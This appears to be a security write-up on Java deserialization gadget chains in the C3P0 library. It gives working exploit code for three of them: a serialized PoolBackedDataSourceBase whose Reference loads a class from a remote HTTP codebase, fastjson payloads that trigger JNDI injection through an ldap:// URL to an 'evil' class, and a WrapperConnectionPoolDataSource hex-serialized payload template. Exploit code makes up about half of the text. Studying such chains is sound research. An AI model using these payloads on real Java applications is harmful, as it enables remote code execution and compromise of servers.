C3P0 Exploit
ENV
Gadget Chain
URLClassLoader
referenceToObject
In ReferenceableUtils#referenceToObject
, there exists a call to URLClassLoader
we can use this code block as a sink.
Then Let’s check which method call this referenceToObject
.
getObject
In ReferenceIndirector$ReferenceSerialized#getObject
, we call the method referenceToObject
Then let’s find again which method call the getObject
readObject
In PoolBackedDataSourceBase#readObject
, we call the getObject
Till now, we have formed a complete gadget chain.
EXPLOIT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| public class exp { public static void main(String[] argc)throws Exception{ PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase, new evil()); serialize(poolBackedDataSourceBase); unserialize("ser.bin"); } public static class evil implements ConnectionPoolDataSource, Referenceable {
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; }
@Override public Reference getReference() throws NamingException { return new Reference("calc", "calc", "http://127.0.0.1:8010/"); } } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
JNDI Injection
dereference
This gadget chain is based on fastjson.
In JndiRefForwardingDataSource#dereference
, we can find a JNDI Injection point.
inner
Next, we can find JndiRefForwardingDataSource#inner
call the method dereference
.
setLoginTimeout
We can find a lot of methods in the class JndiRefForwardingDataSource
call the inner
These methods have the setter/getter format, so we can use fastjson to trigger.
So com.mchange
has been banned in the fastjson1.2.25
EXP
1 2 3 4
| public static void main(String[] argc)throws Exception{ String exp = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", \"jndiName\": \"ldap://127.0.0.1:8099/evil\", \"LoginTimeout\":\"1\"}"; JSON.parse(exp); }
|
hexbase
WrapperConnectionPoolDataSource
Let’s audit the WrapperConnectionPoolDataSource#setUpPropertyListeners
We can find, in the WrapperConnectionPoolDataSource#parseUserOverridesAsString
, it deserialize a hexstring
.
setUpPropertyListeners
In a setter method, WrapperConnectionPoolDataSource#setUpPropertyListeners
, we call the parseUserOverridesAsString
As a setter method, we can make a fastjson call to the setUpPropertyListeners
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class exp { public static void main(String[] argc)throws Exception{ String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ "HEXEXP" + ";\"," + "}" + "}"; System.out.println(payload); JSON.parse(payload); } }
|
Reference
https://drun1baby.top/2022/10/06/Java反序列化之C3P0链/
https://p4d0rn.gitbook.io/java/serial-journey/c3p0